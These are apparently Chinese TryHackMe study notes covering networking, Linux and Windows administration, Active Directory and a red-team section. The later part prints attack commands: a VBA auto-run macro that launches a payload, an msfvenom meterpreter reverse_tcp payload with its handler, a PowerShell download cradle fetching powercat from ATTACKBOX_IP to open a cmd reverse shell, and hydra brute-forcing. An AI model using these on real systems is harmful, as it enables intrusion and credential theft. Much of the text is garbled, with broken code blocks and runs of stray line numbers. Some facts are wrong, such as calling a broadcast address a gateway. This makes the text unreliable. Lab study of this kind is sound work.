THM笔记
THM笔记
部分太过简单就不再记录
Medium上有很多wp,可以借鉴
基础知识
IP
Internet protocol
- 网络地址192.168.1.1
- 主机地址192.168.1.101
- 默认网关192.168.1.255
- 向别的网关发送数据
MAC地址
Media Access Control
前6个字符代表制造网络接口的公私,后六个字符是一个唯一的数字
LAN
连接方式拓扑(Topology
- 星型
- 通过交换机或集线器连接
- 添加方便,成本高,不适合大规模
- 总线拓扑
- 有主干电缆,
- 成本低,排查困难
- 环形拓扑
- 一个坏就全完
特性 | 集线器(Hub) | 交换机(Switch) | 中继器(Repeater) |
---|---|---|---|
工作层次 | 物理层(Layer 1) | 数据链路层(Layer 2) | 物理层(Layer 1) |
数据传输 | 广播所有端口 | 根据 MAC 地址定向转发 | 放大并转发信号 |
带宽 | 所有端口共享带宽 | 每个端口独立带宽 | 无带宽概念,仅用于信号放大 |
智能 | 无智能,仅转发数据 | 智能转发数据,避免广播 | 无智能,仅放大信号 |
ARP
Address Resolution Protocol 地址解析协议
将这两个标识符(IP 地址和 MAC 地址)映射在一起
用来广播IP的所有者来确定mac地址
DHCP
(Dynamic Host Configuration Protocol)
动态主机配置协议
询问,请求,确认
七层模型
- 物理层
- 数据链路层
- 网络层来接收数据,并添加接收端点的物理mac地址
- 所有联网设备附带的硬件名称是NIC网络接口卡,无法更改
- switch
- 网络层
- 能够用IP地址传送数据包
- OSPF (开放式最短路径优先)****和RIP (路由信息协议)
- switch
- 防火墙
- 传输层
- tcp(Transmission Control Protocol
- udp(User Datagram Protocol
- 防火墙
- 会话层
- 表示层
- 起连接作用,tanslator
- 应用层
- 用户交互
vpn
- ipsec
- 设置困难,加密功能强大
- PPTP点对点****隧道协议
- 设置简单,加密性弱
- ppp
- 仅加密并提供数据认证
DNS
用nslookup去查看
- nslookup –type=cname xxx
DNS在应用层(即 ISO OSI 模型的第 7 层)运行。DNS流量默认使用 UDP 端口 53,TCP 端口 53 作为默认后备。DNS 记录有很多种类型;但是,在本任务中,我们将重点关注以下四种:
- A 记录:A(地址)记录将主机名映射到一个或多个 IPv4 地址。例如,您可以设置
example.com
为解析为172.17.2.172
。 - AAAA 记录:AAAA 记录与 A 记录类似,但它适用于 IPv6。请记住,它是 AAAA(四 A),因为 AA 和 AAA 指的是电池大小;此外,AAA 指的是身份验证、授权和记帐;两者都不属于DNS。
- CNAME 记录:CNAME(规范名称)记录将一个域名映射到另一个域名。例如,
www.example.com
可以映射到example.com
,甚至可以映射到example.org
。 - MX 记录:MX(邮件交换)记录指定负责处理域电子邮件的邮件服务器。
whois
使用该whois
命令查找 WHOIS 记录受隐私保护的域。
封装
- 应用程序数据:一切从用户将想要发送的数据输入应用程序开始。例如,您编写电子邮件或即时消息并点击发送按钮。应用程序会格式化这些数据,并根据所使用的应用程序协议使用其下方的层(传输层)开始发送这些数据。
- 传输协议段或数据报:传输层(如 TCP 或UDP)添加适当的报头信息并创建TCP 段(或UDP 数据报)。该段被发送到其下一层,即网络层。
- 网络数据包:网络层,也就是 Internet 层,给收到的 TCP 段或UDP数据报添加一个 IP 报头。然后,这个 IP数据包被发送到它下面的层,即数据链路层。
- 数据链路帧:以太网或 WiFi 接收 IP 数据包并添加适当的报头和尾部,从而创建帧。
- 应用层发的是数据data
- 传输层发的是
- tcp协议段segment
- udp数据报datagram
- 网络层的是数据包packet
- 数据链路层的是数据帧frame
网络协议
DHCP
服务器监听UDP端口 67,客户端从UDP端口 68 发送。您的智能手机和笔记本电脑默认配置为使用DHCP 。
DHCP遵循四个步骤:发现、提供、请求和确认 (DORA):
- DHCP发现:客户端将广播 DHCPDISCOVER 消息,寻找本地DHCP服务器(如果存在)。
- DHCP提供:服务器以 DHCPOFFER 消息进行响应,其中包含可供客户端接受的 IP 地址。
- DHCP请求:客户端以 DHCPREQUEST 消息进行响应,表明它已接受提供的 IP。
- DHCP确认:服务器以 DHCPACK 消息进行响应,以确认提供的 IP 地址现已分配给该客户端。
HCP服务器为我们提供以下内容:
- 租用IP地址访问网络资源
- 将数据包路由到本地网络之外的网关
- 用于解析域名的DNS服务器(稍后会详细介绍)
ARP
访问mac地址的
Address Resolution Protocol
通过 ARP 请求和响应,设备能够获得目标主机的物理地址,并通过缓存避免频繁的 ARP 请求。尽管 ARP 协议简单高效,但它也存在一定的安全风险,ARP 欺骗攻击是其中的一个典型问题。
地址解析协议 ( ARP ) 使得在以太网上查找另一台设备的 MAC 地址成为可能,具有 IP 地址的主机192.168.66.89
想要与具有 IP 地址的另一个系统进行通信192.168.66.1
。它发送ARP请求,要求具有 IP 地址的主机192.168.66.1
做出响应。ARP请求从请求者的 MAC 地址发送到广播 MAC 地址,如第一个数据包中所示。ARP答复随后不久到达,具有 IP 地址的主机以其 MAC 地址做出响应。从此时起,两台主机可以交换数据链路层帧。ff:ff:ff:ff:ff:ff``192.168.66.1
ICMP
Internet Control Message Protocol (ICMP)
ping
:此命令使用 ICMP 测试与目标系统的连接并测量往返时间 (RTT)。换句话说,它可用于了解目标是否处于活动状态以及其回复是否可以到达我们的系统。traceroute``traceroute
:此命令在Linux和类 UNIX 系统以及MS Windows 系统上调用tracert
。它使用 ICMP 来发现从您的主机到目标的路由。
路由协议
- OSPF(开放最短路径优先):OSPF 是一种路由协议,允许路由器共享有关网络拓扑的信息并计算最有效的数据传输路径。它通过让路由器交换有关其连接链路和网络状态的更新来实现这一点。这样,每个路由器都有完整的网络地图,并可以确定到达任何目的地的最佳路线。
- EIGRP(增强型内部网关路由协议):EIGRP 是 Cisco 专有的路由协议,它结合了不同路由算法的各个方面。它允许路由器共享有关它们可以到达的网络以及与这些路由相关的成本(如带宽或延迟)的信息。然后,路由器会使用这些信息来选择最有效的数据传输路径。
- BGP(边界网关协议):BGP 是互联网上使用的主要路由协议。它允许不同的网络(如互联网服务提供商的网络)交换路由信息并建立数据在这些网络之间传输的路径。BGP 有助于确保数据即使在穿越多个网络时也能在互联网上高效路由。
- RIP(路由信息协议):RIP 是一种简单的路由协议,通常用于小型网络。运行 RIP 的路由器会共享有关它们可以到达的网络以及到达该网络所需的跳数(路由器)的信息。因此,每个路由器都会根据此信息构建路由表,选择跳数最少的路由到达每个目的地。
NAT
背后的理念是使用一个公有 IP 地址为许多私有 IP 地址提供 Internet 访问。
从笔记本电脑的角度来看,连接是从其 IP 地址192.168.0.129
从TCP源端口号发起的15401
;但是,Web 服务器将看到此连接是从 TCP 端口号 建立的212.3.4.5
,如转换表所示。路由器无缝地执行此地址转换。19273
假设路由器具有无限的处理能力,粗略地说,它能够维持65千个同时的TCP连接
s/FTP/s
21端口的文本传输协议,990是ftps
在下面的终端中,我们执行了使用本地客户端ftp 10.10.25.157
连接到远程FTP服务器的命令ftp
。然后我们经历了以下步骤:
- 我们使用用户名
anonymous
登录 - 我们不需要提供任何密码
- 发布
ls
返回可供下载的文件列表 type ascii
由于这是一个文本文件,因此切换到 ASCII 模式get coffee.txt
允许我们检索我们想要的文件
默认连接账户anonymous,密码为空
sftp
SFTP 代表SSH文件传输协议,允许安全的文件传输。
ftps
要设置证书,并且由于它使用单独的连接进行控制和数据传输,因此很难通过严格的防火墙。
SSH
22,23端口的远程连接协议
TELNET 服务器监听端口 23,而SSH服务器监听端口 22。
SMTP/s
加密之后465+587
未加密25端口
邮件传输协议 ( SMTP )
HELO
或EHLO
发起SMTP会话MAIL FROM
指定发件人的电子邮件地址RCPT TO
指定收件人的电子邮件地址DATA
表示客户端将开始发送电子邮件消息的内容。.
单独发送一行,表示结束
pop3/s
Post Office Protocol version 3
接收电子邮件监听110端口,加密之后995端口
一些常见的POP3命令是:
- AUTH 进去第一句命令
USER <username>
识别用户PASS <password>
提供用户密码STAT
请求消息数量和总大小LIST
列出所有消息及其大小RETR <message_number>
检索指定消息DELE <message_number>
标记消息以进行删除QUIT
结束POP3会话并应用更改,例如删除
IMAP/s
143/993端口;同步邮箱
Internet Message Access Protocol
IMAP协议命令比POP3协议命令复杂一些,下面我们列举几个例子:
LOGIN <username> <password>
验证用户身份SELECT <mailbox>
选择要使用的邮箱文件夹FETCH <mail_number> <data_item_name>
示例fetch 3 body[]
获取消息编号 3、消息头和正文。MOVE <sequence_set> <mailbox>
将指定的邮件移至另一个邮箱COPY <sequence_set> <data_item_name>
将指定的邮件复制到另一个邮箱LOGOUT
登出
SSL/TLS
安全套接字 SSL (Secure Sockets Layer)
自签证书不应用于确认服务器的真实性
对于需要识别自己的每个服务器(或客户端),第一步都是获取签名的 TLS 证书。通常,服务器管理员会创建证书签名请求 (CSR) 并将其提交给证书颁发机构 (CA);CA 会验证 CSR 并颁发数字证书。收到(签名的)证书后,可以使用它来向其他人识别服务器(或客户端),其他人可以确认签名的有效性。为了让主机确认签名证书的有效性,需要在主机上安装签名颁发机构的证书。在非数字世界中,这类似于识别各种颁发机构的印章。
wireshark解密
- First, after right-clicking anywhere, choose “Protocol Preferences.” From the submenu, select “Transport Layer Security.” Thirdly, click on “Open Transport Layer Security preferences.”
- Clicking “Open Transport Layer Security preferences” will show a dialog box. You must click the “Browse” button marked with four to locate the
ssl-key.log
. You can find it in theDocuments
directory. Finally, click OK, and Wireshark will show all the TLS decrypted. One of these packets contains login credentials.
http/https
80,8080
443,8443
将域名解析为IP之后
http
- 与目标服务器建立TCP三次握手
- 使用HTTP协议进行通信;例如,发出HTTP请求,如
GET / HTTP/1.1
- 三次挥手(四合一
https
- 与目标服务器建立TCP三次握手
- 建立 TLS 会话
- client hello
- server hello
- 使用HTTP协议进行通信;例如,发出HTTP请求,如
GET / HTTP/1.1
通过提供密钥可以解密
wires hark
要文件MD5值就先拉出来再MD5sun
tcpdump抓包分析
Tcpdump 工具及其libpcap库是用 C 和 C++ 编写的
在windows上叫wincap
假设您只对与网络打印机或特定游戏服务器交换的 IP 数据包感兴趣。您可以使用主机 IP 或主机 HOSTNAME 轻松地将捕获的数据包限制到此主机。在下面的终端中,我们捕获与 example.com 交换的所有数据包并将其保存到 http.pcap。需要注意的是,捕获数据包需要您以 root 身份登录或使用 sudo。
- Filtering by Host
- sudo tcpdump host example.com -w http.pcap
- Filtering by Host
- sudo tcpdump -i ens5 port 53 -n
- Filtering by Protocol
- sudo tcpdump -i ens5 icmp -n
三个很方便的逻辑运算符:
and:捕获两个条件都为真的数据包。例如,tcpdump host 1.1.1.1 and tcp捕获tcp带有 的流量host 1.1.1.1。
or:当任一条件为真时捕获数据包。例如,tcpdump udp or icmp捕获UDP或 ICMP 流量。
not:当条件不成立时捕获数据包。例如,捕获除 TCP 段之外的所有数据包;我们期望在结果中tcpdump not tcp找到 UDP、ICMP 和ARP数据包。
Tcpdump 是一款功能丰富的程序,具有许多选项,可用于自定义数据包的打印和显示方式。我们选择涵盖以下五个选项:
-q:快速输出;打印简要的数据包信息
-e:打印链接级标题
-A:以 ASCII 格式显示数据包数据
-xx:以十六进制格式显示数据包数据,简称hex
-X:以十六进制和 ASCII 显示数据包头和数据
命令 解释
tcpdump -i INTERFACE 捕获特定网络接口上的数据包
tcpdump -w FILE 将捕获的数据包写入文件
tcpdump -r FILE 从文件读取捕获的数据包
tcpdump -c COUNT 捕获特定数量的数据包
tcpdump -n 不解析 IP 地址
tcpdump -nn 不解析 IP 地址,也不解析协议号
tcpdump -v -vv详细显示;详细程度可以通过和增加-vvv
命令 | 解释 |
---|---|
tcpdump host IP 或者tcpdump host HOSTNAME |
按 IP 地址或主机名过滤数据包 |
tcpdump src host IP 或者 |
根据特定源主机过滤数据包 |
tcpdump dst host IP |
根据特定目标主机过滤数据包 |
tcpdump port PORT_NUMBER |
按端口号过滤数据包 |
tcpdump src port PORT_NUMBER |
按指定源端口号过滤数据包 |
tcpdump dst port PORT_NUMBER |
按指定目标端口号过滤数据包 |
tcpdump PROTOCOL |
按协议过滤数据包;示例包括ip 、ip6 和icmp |
找mac访问
tcpdump -r traffic.pcap arp and arp[24:4]=0xc0a87c89
- 这个命令的目的是过滤出所有 ARP 数据包,并且只显示目标 IP 地址为
192.168.124.137
(即0xc0a87c89
)的 ARP 数据包。
找数量
tcpdump -r traffic.pcap icmp -n | wc
- 输出行数,icmp协议的
找第一个出现的域名
tcpdump -nnr traffic.pcap port 53
- 1
检测tcp连接
检测tcp重置(RST
- tcpdump -nnr traffic.pcap “tcp[tcpflags] == tcp-rst” |wc -l
发送量大于15000字节的数据主机IP
- tcpdump -nnr traffic.pcap “greater 15000”
发送arp请求的主机mac地址
- tcpdump -ennr traffic.pcap arp
tcp
您可以使用tcp[tcpflags]来引用TCP标志字段。以下TCP标志可供比较:
tcp-syn TCP SYN(同步)
tcp-ack TCP ACK(确认)
tcp-fin TCP FIN(完成)
tcp-rst TCP RST(重置)
tcp-push TCP推送
大小
greater LENGTH:过滤长度大于或等于指定长度的数据包
less LENGTH:过滤长度小于或等于指定长度的数据包
Linux
- 进程控制
- systemctl
- 进入后台运行的进程
- fg
- 进程管理
- SIGTERM——终止进程,但允许它事先做一些清理任务
- SIGKILL-终止进程-事后不做任何清理
- SIGSTOP——停止/暂停进程
- systemctl stop
- systemctl enable
基础命令
1 | ss tcp/ip连接 |
- 发行版本和更多信息
- ls /etc/*-release 然后再打开里面的
- 系统名称
- hostname
- 显示谁登录了
- who
- w 谁登录了以及在做什么
- id 打印真实有效的用户和组id
- last 最近登录的用户列表
- 网络信息
- ip a s (ip address show)
- 域名服务器
- cat /etc/resolv.conf
- netstat
选项 | 描述 |
---|---|
-a |
显示监听和非监听套接字 |
-l |
仅显示监听套接字 |
-n |
显示数字输出而不是解析 IP 地址和端口号 |
-t |
TCP |
-u |
UDP |
-x |
UNIX |
-p |
显示套接字所属程序的PID和名称 |
- 进程
- ps
- ps auxf f代表森林
选项 | 描述 |
---|---|
-e |
所有流程 |
-f |
全格式列表 |
-j |
作业格式 |
-l |
长格式 |
-u |
以用户为导向的格式 |
- 泄露敏感信息
- 邮件目录
- /var/mail
- 已安装的应用程序
- ls -lh /user/bin/
- ls -lh /sbin/
- 邮件目录
- RPM(Red Hat Package Manager)是一种包管理系统
- rpm -qa -qa表示要查询的所有软件包
debian
- 已安装软件包列表
- dpkg -l
更改默认shell
1 | zsh临时更改,永久更改走下边 |
zsh
- Zsh 提供了高级的制表符补全功能,还能够编写脚本
- 比其他 shell 慢
- 用插件语法高亮
FIsh
- 为命令提供自动拼写纠正。
- 带语法高亮
bash
shell脚本
每个脚本都应该有shebang
#!/bin/bash
找端口服务
根据端口
sudo netstat -anop |grep :6667
根据服务部分找全部
sudo ps afux | grep “THM”
计时任务cron
crontab -e 进行编辑,@reboot是重启就运行
分钟,小时,天。月,年
Windows
- BitLocker:
- BitLocker是Windows Pro版本中提供的全磁盘加密工具,它允许用户加密整个硬盘驱动器,以保护数据不被未授权访问。Home版本不支持BitLocker。
- 本地用户和组管理
- 搜索other user
- win+r lusrmgr.msc
- 任务管理器快捷键
- Ctrl+Shift+Esc
- 性能监视器
- perfmon
系统配置
- msconfig
- 一般的
引导
服务
启动 启动项,为空
工具,在这里about能看到版本信息
启动项管理
- taskmgr 任务管理器
UAC
(User Account Control,用户帐户控制)
computer_manager
1 | compmgmt.msc |
计划任务
事件查看器
事件查看器有三个窗格。
左侧窗格提供了事件日志提供程序的层次树列表。(如上图所示)
中间的窗格将显示所选提供商特定事件的概述和摘要。
右侧的窗格是操作窗格。
共享文件夹
设备管理
服务与应用
禁用启用查看服务
存储
磁盘分区扩容压缩
system_infomation
1 | sysinfo32 |
系统摘要中的信息分为三个部分:
硬件资源 hardware resources
成分 components
软件环境 software Environment
资源监视器
1 | resmon |
基础命令
1 | hostname #输出计算机名称 |
查找flag
dir C:\flag.txt /s /p
基础三龙
- 查看端口tcp
- netstat -t
- 根据端口查pid
- netstat -ano | findstr :22
- 根据pid查服务
- tasklist /FI “PID eq 2068”
隐藏后缀打开
win+r
1 | rundll32 shell32.dll,Options_RunDLL 7 |
tasklist
显示当前进程
1 | tasklist /FI "imagename eq notepad.exe" |
终止
1 | taskkill /PID 1516 |
shutdown
/s关机
/a取消关机
/r重启
cmd和powershell
传统工具(如cmd.exe
批处理文件)在自动化和管理这些系统方面显得力不从心。
powershell的开发采用的高级方法object-oriented
PowerShell命令称为cmdlets
(发音为command-lets
)
powershell
系统和网络
- Get-ComputerInfo
- systeminfo的升级版本
- Get-LocalUser
- 列出本地账户
- Get-NetIPConfiguration
- 列出网络接口的详细信息,IP地址,DNS服务器和网关配置
- Get-NetIPAddress
- IP地址详细信息
实时系统分析
当前进程详细图
Get-Process
- 进程详细图,cpu使用情况
Get-Service
- 机器上服务状态的信息
Get-NetTCPConnection
- 监测活动网络连接
Get-FileHash -Path .\ship-flag.txt
- 获取文件hash
OwningProcess
Get-Content
:检索(获取)文件的内容并将其显示在控制台中。- Get-Command -CommandType “Function”
- Get-Help Get-Date -examples
- Get-Alias
- 取别名
Set-Location
:更改(设置)当前工作目录。
查找和下载cmdlet
1 | Find-Module -Name "PowerShell*" #模糊查找 |
移动+查看
- 移动到
- Set-Location -Path “.\Documents
- 当前文件夹内容
- Get-ChildItem ## -path xxx
- 输出指定内容
- Get-ChildItem | Select-Object Name,Length
- 根据大小排序
- Get-ChildItem | Sort-Object Length
- 筛选#根据-财产 “属性”
- Get-ChildItem | Where-Object -Property “Extension” -eq “.txt”
- 模糊匹配
- Get-ChildItem | Where-Object -Property “Name” -like “ship*”
- 复制
- Copy-Item -Path xxx yyy
- 打开
- Get-Content -Path “.\captain-hat.txt”
- 显示最大文件
- Get-ChildItem | Sort-Object Length -Descending | Select-Object -First 1
- 搜索字符串
- Select-String -Path “.\captain-hat.txt” -Pattern “hat”
- Get-ChildItem |Where-Object -Property “length” -gt 100
- 检索当前目录中大小大于 100 的项目
建立新项目+删除
1 | 文件夹 |
Where-object筛选
这里Where-Object
根据文件的Extension
属性进行过滤,确保只列出扩展名等于( -eq
)的文件。.txt
运算符-eq
(即“等于”)是与其他脚本语言(例如 Bash、Python)共享的一组比较运算符的一部分。为了展示 PowerShell 过滤的潜力,我们从该列表中选择了一些最有用的运算符:
-ne
:“不等于”。此运算符可用于根据指定的条件从结果中排除对象。-gt
:“大于”。此运算符将仅过滤超过指定值的对象。需要注意的是,这是一个严格的比较,这意味着等于指定值的对象将被排除在结果之外。-ge
:“大于或等于-gt
”。这是上一个运算符的非严格版本。与的组合-eq
。-lt
:“小于”。与“大于”类似,这是一个严格运算符。它仅包含严格低于某个值的对象。-le
:“小于或等于”。与 类似,这是前一个运算符的非严格版本。和-ge
的组合。-lt``-eq
CLI
Command Line Interface(命令行界面)
set
1 | 发出命令set来检查您的路径。下面的终端输出显示了 MS Windows 将执行命令的路径,如以 开头的行所示Path=。 |
ver
1 | ver命令来确定操作系统 ( OS ) 版本。 |
systeminfo
1 | 列出有关系统的各种信息,例如操作系统信息、系统详细信息、处理器和内存。 |
IP相关
tracert + example.com
1 | 输出经过的路由器 |
nslookup
1 | 查找主机或域并返回其IP |
netstat
1 | 显示当前监听的端口和网络连接 |
-a
显示所有已建立的连接和监听端口-b
显示与每个监听端口和已建立的连接关联的程序-o
显示与连接关联的进程 ID ( PID )-n
使用数字形式表示地址和端口号
注册表
1 | regedit |
Windows 更新
更新通常在每个月的第二个星期二发布。这一天称为
补丁星期二。
Windows 更新设置是“受管理的”。(通常,家庭用户不会看到此类消息)
1 | CMD 运行命令 control /name Microsoft.WindowsUpdate |
Windows安全
打开防火墙
1 | WF.msc |
浏览器访问保护
根据微软的说法,“ Microsoft Defender SmartScreen 可防止网络钓鱼或恶意软件网站和应用程序以及潜在恶意文件的下载”。
可信平台模块( TPM )
Trusted Platform Module
内存完整性和cpu完整性
1 | Core isolation |
USB startup key
在没有TPM 版本 1.2 或更高版本的计算机上,用户必须插入
vss(Volume Shadow Copy Service
其他工具
没用过都
Sysinternals Suite
-
实用程序名称 描述 进程浏览器 显示进程以及打开的文件和注册表项 进程监控 监控文件系统、进程和注册表 列表 提供有关流程的信息 登入 显示已登录的用户 Process Hacker
GhostPack Seatbelt
信息搜集+资源
免费证书签名TLS
主机信息搜集
fofa
Shodan
censys
威胁软件分析
微步云沙箱
virustotal
https://sandbox.dbappsecurity.com.cn/
信息泄露自查
Have I Been Pwned
cve查询
exploit database
MITRE Corporation maintains the CVE system
cve
不知道这是啥
国外网站
- 搜集国外员工技术背景
黑帽子
wp
在线解码hash
资源金库
其他信息库
https://malpedia.caad.fkie.fraunhofer.de/
国外工具
协助传输文件
- certutil
挖掘监控短信流量
- MESSAGETAP
提权工具
WES-NG:Windows 漏洞建议器 - 下一代
- https://github.com/bitsadmin/wesng
- user@kali$ wes.py systeminfo.txt
PrivescCheck
PowerShell脚本,用于在目标系统上搜索常见的特权升级。它提供了一种 WinPEAS 的替代方案,无需执行二进制文件。
PS C:\> Set-ExecutionPolicy Bypass -Scope process -Force PS C:\> . .\PrivescCheck.ps1 PS C:\> Invoke-PrivescCheck
PS C:\> gpupdate /force1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
WinPEAS
- https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS
- WinPEAS 是一个脚本,用于枚举目标系统以发现特权提升路径。
- winPEAS 的输出可能很长,有时难以阅读。这就是为什么始终将输出重定向到文件是个好习惯,
# 域
## 成员分配
### 删除多余ou和用户
高级功能-》右键属性object-》关闭保护,然后就能删了
### 代表团
Delegation
权限的委托
右键Delegation control,然后先添加,再检查姓名
lipp123!
### 机子区分
#### PC
- **Personal Computer**:个人计算机。通常指用于个人或家庭使用的计算机,如台式机和笔记本电脑。PC 通常用于日常办公、娱乐、学习等任务。
#### LPT
- **Line Printer Terminal**:行式打印机终端。在早期的计算机系统中,LPT 通常指连接到计算机的并行打印机接口。LPT 端口用于将数据从计算机传输到打印机。现代计算机中,LPT 端口已被 USB 等更先进的接口所取代。
#### SRV 和 SVR
- **Server**:服务器。这两个缩写通常都表示服务器。服务器是一种计算机,专门用于为其他计算机或设备提供服务和资源。服务器可以运行各种服务,如 Web 服务、数据库服务、文件存储服务等。服务器通常具有更高的性能和更强的处理能力,以满足多用户和高负载的需求。
## 身份验证
### Kerberos:
任何较新版本的 Windows 均使用此协议。这是任何较新域中的默认协议。
机制:
1. 创建票据
1. 用户将(用户名+密码派生的密钥加密的时间戳)-》密钥分发中心(KDC)Key Distribution Center
2. KDC创建并返回一个(TGT)**Ticket Granting Ticket** +会话密钥
- TGT是krbtgt账户的密码hash加密的,因为用户无法访问其内容(域控的一个密码
- TGT包含会话密钥的副本作为其内容的一部分,KDC无需存储会话密钥,应为能根据解密tgt来恢复副本(如果需要)
- 在 Windows 域中,KDC 是域控制器的一部分。域控制器不仅负责存储和管理 Active Directory 数据库,还包括负责身份验证和票证颁发的 KDC。
2. 请求服务
1. 用户向KDC发送TGT,请求TGS(**Ticket Granting Service** )请求票证授予服务。
- 附加会话密钥加密的(用户和时间戳)+服务主体名称 **Service Principal Name (SPN)**
2. KDC向用户发送TGS+服务会话密钥,使用这个密钥来验证我们要访问的服务,
- TGS使用**Service Owner Hash**服务所有者hash派生的密钥进行加密,加密过程中包含(服务会话密钥的副本)以便服务所有者可通过TGS来访问
3. 用户通过将自身配置的账户的密码hash来解密TGS并验证服务会话
### NetNTLM:

为了兼容性目的而保留的旧式身份验证协议。
1. 客户端向其想要访问的服务器发送身份验证请求。
2. 服务器生成一个随机数并将其作为挑战发送给客户端。
3. 客户端将其NTLM密码哈希与挑战(和其他已知数据)相结合,以生成对质询的响应并将其发送回服务器进行验证。
4. 服务器将质询和响应转发给域控制器进行验证。
5. 域控制器使用该质询重新计算响应,并将其与客户端发送的原始响应进行比较。 如果两者匹配,则客户端通过身份验证; 否则,访问被拒绝。 身份验证结果将发送回服务器。
6. 服务器将认证结果转发给客户端。
请注意,出于安全考虑,用户的密码(或哈希值)绝不会通过网络传输。
**注意:**所述流程适用于使用域帐户的情况。如果使用本地帐户,服务器可以验证对质询的响应本身,而无需与域控制器交互,因为它已将密码哈希存储在其 SAM 上。
# 工作组
Group Policy Objects (GPO).组策略对象
由于此 GPO 适用于整个域,因此对它的任何更改都会影响所有计算机。
一旦对任何 GPO 进行了更改,计算机可能需要长达 2 小时才能跟上。如果您想强制任何特定计算机立即同步其 GPO,您可以随时在所需的计算机上运行以下命令:Get-ADUser -Filter *1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
## 组设置对部门的限制
1. 创建一个名为的新GPO并打开它进行编辑。由于我们希望此GPO应用于特定用户,我们将查找User Configuration以下策略:
2. 通过将GPO拖到每个 OU 来链接
- 用于将 **GPO**(组策略对象)分发到域机器的网络共享名称是
sysvol
## 共享文件夹
在 Windows 域中,**SYSVOL** 是一个共享文件夹,包含域的公共文件,这些文件会被复制到所有域控制器上,并用于存储与组策略相关的文件(如 GPO 的策略设置、脚本等)。这些文件夹默认对域中的计算机和用户可用,并确保策略在所有计算机间一致地分发。
# 红队
### C2框架
https://tryhackme.com/r/room/introtoc2
#### 免费
1. **Metasploit**
2. **Armitage**
- 和cobalt strike相似
3. **Powershell Empire/Starkiller**帝国/**弑星者**
4. **Covenant**盟约
- c#编写的
- 主要用于后期开发和横向移动
5. **Sliver** 裂片
- go写的
#### 付费
1. **Cobalt Strike**钴打击
- 打windows挺好用的,
- java写的
2. **Brute Ratel**野蛮人
- 过阶段看看
- https://bruteratel.com/
- 教学https://bruteratel.com/tabs/tutorials/
### 概念知识,垃圾堆
全球企业攻击标准
**OPSEC** 是 **Operational Security**(操作安全)
- /22是子网掩码255.255.255.0
- /24是0到255
1. Bean Enterprises 将密切监控与 DMZ 和关键/生产系统的交互。
1. 禁止与“*.bethechange.xyz”进行任何互动。
2. 允许与“*.globalenterprises.thm”的所有交互。
**Advanced Persistent Threats (APT)高级持续性威胁**
**Tactics, Techniques and Procedures (TTPs)战术、技术和程序**
## 信息搜集
### 域名信息搜集
#### 平台
https://threatintelligenceplatform.com/
https://viewdns.info/
[maltego](https://www.maltego.com/transform-hub/)就是过度人性化了
#### 命令
- whois
- nslookup
- ipv4/6
- dig
- 指定dns服务器,例如dig clinic.thmredteam.com @1.1.1.1
- host
- traceroute
- 显示路由,但只显示几个
- recon-ng (recon侦察
- recon-ng -w clinicredteam 创建工作区
- db insert domains 输入插入域名,然后下一句输入域名
- marketplace search censys_email_address 搜索模块
- marketplace info censys_email_address 搜索模块信息
- `modules search`获取所有已安装模块的列表
- `modules load MODULE`将特定模块加载到内存中
- load module
- run
#### Google
如何使用 Google 搜索 `xls` clinic.thmredteam.com 的索引?
- filetype:xls site:clinic.thmredteam.com
如何使用 Google 搜索包含“ `passwords` clinic.thmredteam.com”一词的文件?
- passwords site:clinic.thmredteam.com
### 内部信息收集
#### DMZ
Demilitarized Zone非军事区
用来隔离和启用对公共网络流量,不受信任流量的访问控制
#### TCP 和 UDP 开放端口
netstat -na
arp -a
查找域内情况
systeminfo | findstr Domain
#### enumerate
用powershell
#枚举用户和组
Get-ADUser -Filter * -SearchBase “CN=Users,DC=THMREDTEAM,DC=COM”
1 |
|
run post/windows/manage/migrate
1 |
|
xfreerdp /v:10.10.172.9 /u:thm /p:TryHackM3 +clipboard
1 |
|
evil-winrm -i 10.10.44.235 -u thmuser1 -p Password321
1 |
|
Dim message
message = “Welcome to THM”
MsgBox message
1 |
|
Dim message
message = “Welcome to THM”
MsgBox message
1 |
|
1 |
|
1 |
|
1 |
|
Sub AutoOpen()
THM
End Sub
Sub THM()
MsgBox (“Welcome to Weaponization Room!”)
End Sub
1 |
|
Sub Document_Open()
THM
End Sub
Sub AutoOpen()
THM
End Sub
Sub THM()
Dim payload As String
payload = “calc.exe”
CreateObject(“Wscript.Shell”).Run payload,0
End Sub
1 |
|
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.50.159.15 LPORT=443 -f vba
1 |
|
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.9.0.81
set LPORT 443
exploit
1 |
|
Get-ExecutionPolicy
显示restricted 表示受限制的
1 |
|
Set-ExecutionPolicy -Scope CurrentUser RemoteSigned
1 |
|
powershell -ex bypass -File thm.ps1
1 |
|
git clone https://github.com/besimorhino/powercat.git
下载完成之后👇
cd powercat
python3 -m http.server 8080
监听
nc -lvp 1337
1 |
|
powershell -c “IEX(New-Object System.Net.WebClient).DownloadString(‘http://ATTACKBOX_IP:8080/powercat.ps1');powercat -c ATTACKBOX_IP -p 1337 -e cmd”
1 |
|
crunch 还允许我们使用 -t 选项指定字符集来组合我们选择的单词。以下是一些其他选项,可用于帮助创建您选择的不同组合:
@ - 小写字母
, - 大写字母字符
% - 数字字符
^ - 特殊字符,包括空格
1 |
|
sudo apt-get update
sudo apt-get install wordlists
gzip -d /usr/share/wordlists/rockyou.txt.gz
1 |
|
cat /etc/john/john.conf|grep “List.Rules:” | cut -d”.” -f3 | cut -d”:” -f2 | cut -d”]” -f1 | awk NFcat /etc/john/john.conf|grep “List.Rules:” | cut -d”.” -f3 | cut -d”:” -f2 | cut -d”]” -f1 | awk NF
1 |
|
hydra -l admin -P 500-worst-passwords.txt 10.10.x.x http-get-form “/login-get/index.php:username=^USER^&password=^PASS^:S=logout.php”
1 |
|
